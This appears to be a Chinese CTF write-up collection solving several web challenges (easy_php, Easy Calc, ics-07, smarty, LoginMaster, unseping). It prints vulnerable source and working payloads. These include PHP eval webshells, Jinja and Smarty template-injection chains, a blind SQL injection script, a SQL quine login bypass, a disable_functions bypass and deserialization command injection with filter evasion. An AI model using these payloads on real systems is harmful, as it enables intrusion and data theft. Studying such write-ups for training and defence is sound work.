目录
[HDCTF 2023]LoginMaster nssctf
easy_php cy sec
<?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$login = @$_GET['id'];
if(!@isset($login['token'])||$login['token'] != @md5($_SESSION['tokennum'])){
die('error!');
}else{
if (isset($_GET['potin1k']))
{
$potin1k = $_GET['potin1k'];
$potin1k = addslashes($potin1k);
if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $potin1k)) {
die('error!');
}
if (intval($potin1k)){
eval('"' .$potin1k .('"./ae86qfC.php"') .')}}";');
}}else{
eval('$flag="' .$potin1k . '";');
}
}
?> error!
第一步,读取ae86qfC.php的源码
?id[token]=d41d8cd98f00b204e9800998ecf8427e&potin1k=1{${highlight_file(
id等于这玩意儿是因为$_SESSION['tokennum']没有什么东西,就直接让id=md5($_SESSION['tokennum'])就行,d41d8cd98f00b204e9800998ecf8427e这一串就是$_SESSION['tokennum']的md5加密。potin1k就是绕过addslashes,构造查看ae86qfC.php的内容。1{${highlight_file( 中的1是为了满足 if (intval,只要是数字开头的字符串就会返回数字,如果是纯字符串返回0。
{${highlight_file( 就是绕过addslashes,同时闭合,显示ae86qfC.php的内容
<?php
error_reporting(0);
$text = $_GET['text'];
$filename = $_GET['fiiqnq313'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
if(is_numeric($filename)){
$path="/var/www/html/".$filename.".php";
}else{
die('error');
}
file_put_contents($path, $text);
?>
preg_match,数组绕过,上传一句话木马
ae86qfC.php?text[]=<?php eval($_POST[cmd]);?>&fiiqnq313=1
访问1.php
cmd=system("cat /flag");
Easy Calc buu
随便输输,嗯,确实有计算器功能
看源码
可以发现是有WAF的,且存在一个calc.php文件
看看
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
正则匹配:/m 表示多行匹配
PHP字符串解析特性绕过WAF 输入时发现num只能输入数字,输入字符无法解析。 PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格) 现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
利用PHP的字符串解析特性来绕过WAF,在num前面加上空格
绕过num传参后,我们要读取他根目录下的文件。
也就是
calc.php? num=print_r(scandir('/'));
calc.php? num=var_dump(scandir('/'));
scandir()函数:返回指定目录中的文件和目录的数组
引号给过滤掉了
那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));
? num=var_dump(scandir(chr(47)));
? num=print_r(file_get_contents('/flagg'));
其中/flagg 用chr进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
easy_web xctf 太湖杯
抓包看看
python......输入框
看看有没有可能是SSTI
您的内容包含受限字符!
多半是过滤了{{}}
可以用特殊字符绕过 ︷ ︸
再次测试
︷︷7*7︸︸
OK,是flask
先常规操作
︷︷[].__class__.__base__.__subclasses__()︸︸
用catch_warnings
︷︷().__class__.__bases__[0].__subclasses__()[191].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸
这里引号是被过滤了的
同样可以用特殊字符绕过
同样也可以通过传参绕过
http://61.147.171.105:65508/?shy1=open­2=/flag
POST
str=︷︷().__class__.__bases__[0].__subclasses__()[191].__init__.__globals__.__builtins__[request.args.shy1](request.args.shy2).read()︸︸
ics-07 xctf
同样的界面,熟悉的操作
先找有没有什么东西
在项目管理这有个view-source
直接看源码?不,这是个超链接
OK,进去之后,就是代码分析了
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
来看第一段
page不能为空,同时,他的值不等于index.php,就会包含flag.php文件
否则重定向到flag.php这个文件
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
再看第二段
判断session是不是admin,然后获取到一些值,
匹配.php3457,pht,phtml
如果匹配到,那么就结束
如果没有匹配到,那么就写入文件
chdir:改变目录
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
第三段
floatval这里用的!==,所以类型也要比较,后变为字符串string,前面为数值float,所以肯定不相等。
substr用来返回子串
然后进行数据库的查询,并且进行了转义
如果id的浮点数不是1,且最后一位是9那么,实行查询语句,如果查询正确,会得到一个admin的session
总结:
第一段是个简单重定向,get参数page不为index.php即可
第二段 需要得到一个admin的session,之后可以post传入con与file两个参数
File参数是自定义的文件名字,之后会处理为backup/文件名
这里对文件名进行了过滤,防止后缀名是php的文件。
上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,
那么实际文件的路径就是:uploaded/backup/xxx.xxx
第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么,实行查询语句,如果查询正确,会得到一个admin的session
因此我们这里就需要满足所有需求
首先
index.php?page=flag.php&id=1xx9
这样就有了admin的session
我们就可以进行上传木马了
可以知道这是apache2,它可将php.xxx当作php执行,所以,有时可考虑把后缀变为.php.xxx,但这题不行
con=<?php @eval($_POST[password]);?>&file=1.php/cmd.php/..
其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的1.php/cmd.php/..也就是访问cmd.php的父目录,也就是 1.php
再利用就行
smarty xctf
有Current IP和X-Forwarded-For,题目处提示模板注入和smarty
那就有两种可能的注入点:
- XFF
- client IP
尝试
将XFF头改为{7*7}
发现current IP的值变为了49
可以确定这里存在SSTI
尝试注入
{$smarty.version}
得到smarty版本3.1.30
{phpinfo()}
得到php版本7.2.24
注入方法:
- 常规
{}
{php}{/php}
标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用{literal}
标签,在php5中可以用- 静态方法,在在3.1.30的Smarty中被删除
{if}
标签
总结一下就是在本题中只有常规{}
和{if}
标签可用
先试试常规
{system('ls')}
没有显示
但之前phpinfo是正常显示的
试试{if}
标签
{if phpinfo()}{/if}
phpinfo显示了
{if system('ls')}{/if}
ls指令又失败了
system可能被干掉了
去看眼phpinfo里面的信息
发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
{{file_put_contents("/var/www/html/01.php","<?php @eval($_POST[a]);?>")}}
蚁剑
传一个txt看一下发生了什么。
{{file_put_contents("/var/www/html/01.txt","<?php @eval($_POST[a]);?>")}}
$_POST没了。经测试发现与$连接的字符串会被过滤掉,单独一个$不会
直接写下面这个
{{fputs(fopen('/var/www/html/02.php','w'),'<?php @eval($_POST[a]);?>')}}
无法直接看其他目录
可用disable-function插件
也可无需sendmail:巧用LD_PRELOAD突破disable_functions
上传之后
访问
/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so
[HDCTF 2023]LoginMaster nssctf
点一下注册
不能注册
那我们随便输测试一下
那再使用admin登录,会提示something wrong
这题应该是sql注入,试试常规的sql注入,都不行,那应该是盲注
不过我们可以先去看看文件泄露,robots.txt看看有没有什么有用的
诶,还真有,分析一下,这应该是他的waf源码
没有其他回显,并且把大部分东西都过滤掉了
我们看到sleep,有意无意都会想到时间盲注,那这里他把sleep过滤了,怎么办呢
直接绕过
sleep可以用benchmark代替,=,<,>,regexp等号可以用like代替, substr用mid绕过
脚本:
import requests
import time
header = {
'Host': 'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded'
} # 伪装头
def find_number(cd): # 判断数据库长度
for i in range(1, 30):
payload = "1'or/**/if(length(database())like/**/%d,benchmark(1000000000,sha(1)),1)#" % (i)
# print(payload)
data = {"username": 'admin',
"password": payload
}
try:
res = requests.post(url=url, data=data, timeout=2)
except:
print("数据库长度为:", i)
return i
def find_all(cd, payload):
name = ""
for i in range(1, 35):
for j in range(31, 128):
data = {"username": 'admin',
"password": payload % (i, j)
}
try:
res = requests.post(url=url, data=data, timeout=2)
except:
name += chr(j)
print('所得值为: %s' % name)
break
url = "http://node4.anna.nssctf.cn:28562/"
condition = "flag"
# 库名:
#payload = "1'/**/or/**/(if(ascii(mid(database(),%d,1))like/**/%d,benchmark(100000000,sha(1)),1))#"
# 表名:
# payload="1'/**/or/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))like%d,benchmark(100000000,sha(1)))#"
# 列名:
# payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
# 值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
find_number(condition)#爆数据库长度
find_all(condition, payload) # 爆名
不过他这个环境太容易崩了
正常的我们会知道,password是空的且下面是对输入的password与数据库查询的到的password进行强对比
那么就是要构造一个payload使得输入等于输出
quine方法
主要利用replace()函数
replace是将对象中的某一字符替换成另一字符并输出结果
replace(1,2,3)
1是要替换的对象
2是被替换的字符
3是要替换的字符
如
repalce(".",char(46),".")
输出: .
输入
repalce('repalce(".",char(46),".")',char(46),'repalce(".",char(46),".")')
则会输出
repalce("repalce(".",char(46),".")",char(46),"repalce(".",char(46),".")")
这样实现的是将object中的 . 换成 repalce(".",char(46),".")
但对比发现前后还有单引号和双引号不等
这时又要在repalce里面再嵌套一个replace来让双引号转成单引号
replace(replace('"."',char(34),char(39)),char(46),'.')
得:
'.'
这里就是先执行里面的replace将"."换成了’.'然后再执行外面的repalce
所以就可以将上面’.'换成输入的内容上面就是用
replace(replace(' "." ',char(34),char(39)),char(46),'.')代替 '.'
这样的输出就与输入一样了
回到题目得到的payload为
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
unseping
反序列化
直接给出分析版
<?php
highlight_file(__FILE__);
class ease{
private $method;//ping
private $args;//array('')
function __construct($method, $args) {//创建对象时触发
$this->method = $method;
$this->args = $args;
}
function __destruct(){//对象销毁时触发
if (in_array($this->method, array("ping"))) {//如果ping匹配数组里有ping进入if
//这个决定了 $a = new ease("ping",array('pwd'));的第一个参数ping
//下面的函数也决定了第二个参数是 数组型array('')
call_user_func_array(array($this, $this->method), $this->args);
//调用回调函数,并把一个数组参数作为回调函数的参数
//被调用的函数 this之这个类 method 就是函数ping 参数是args
//只针对php
// call_user_func_array(array($ease,"ping"),array('one'));
}
}
function ping($ip){//等于执行了ping("one")
//ping的参数只有一个因此数组传一个参就好了
exec($ip, $result);
var_dump($result);//貌似执行了这个$ip命令返回了结果
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//正则表达式()整体修饰|或&或;或 或/或cat或flag或tac或php或ls 这都是liunx常用的一些执行命令
return $str;//绕过表达式 返回传参
} else {
echo "don't hack";
}
}
function __wakeup(){//执行unserialize()时,先会调用这个函数
foreach($this->args as $k => $v) {//遍历关联数组 foreach ($array as $key => $value)
$this->args[$k] = $this->waf($v);//调用waf函数输入$v //若果绕过waf本身的args不会变
}
}
}
$ctf=@$_POST['ctf'];//post传参ctf=xxxx
@unserialize(base64_decode($ctf));//先对ctf进行base64解密 在反序列话
//unserialize先检查__wakeup()存在的意义:常常初始化操作 或 连接数据库
/*(前提:有可利用的类)
?>
常见的魔术方法
__construct() //创建对象时触发
__destruct() //对象销毁时触发
__call() //在对象中调用不可访问的方法时触发
__callStatic() //在静态中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
1. 分析代码
POST传入参数ctf,且使用base64解码后反序列化传入。unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
ease类中,定义了两个私有变量和五个方法:
construct()为构造函数,定义类的初始化。
destruct()为析构函数,对象销毁前使用。
ping():exec()执行命令函数,var_dump()输出结果。
waf():preg_match_all()函数用于执行一个全局正则表达式匹配,可以搜索字符串中所有可以和正则表达式匹配的结果。源码中对“|、&、;、空格、/、cat、flag、tac、php、ls”进行匹配,若匹配到的结果为false就返回str。
wakeup()函数:使用foreach遍历字符串检测waf。执行unserialize()时,先会调用这个函数。
2. 编写PHP对应的序列化代码
(1)编写序列化测试代码
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('pwd'));
$b = serialize($a);
echo $b;
echo "\n";
echo "\n";
echo base64_encode($b);
?>
测试pwd成功请求,然后绕过正则获取flag路径。
绕过正则
ls绕过的方法有:空的环境变量 、单引号 、双引号
使用空的环境变量绕过
修改array值为l${X}s
提示flag在“flag_1s_here”文件夹里面
空格绕过
${IFS}
flag和ls一样
l${X}s${IFS}fl${X}ag_1s_here
直接访问/flag_1s_here/flag_831b69012c67b35f.php
这个是php文件空白的 看来执行php后无法获取flag
需要用到cat命令
怎样才能执行 cat flag_1s_here/flag_831b69012c67b35f.php呢
cat flag php 这几个关键词可以绕过 但是”/“怎么可以绕过?
; 和&又不能用 想要多次执行语句以此替代“/”行不通
用8进制绕过
如
$(printf "\154\163") -->ls
写一个简单的C语言代码
#include <stdio.h>
int main()
{
/* code */
char site[] = "cat flag_1s_here/flag_831b69012c67b35f.php";
for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
printf("\\%o",site[i]);
}
return 0;
}
array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')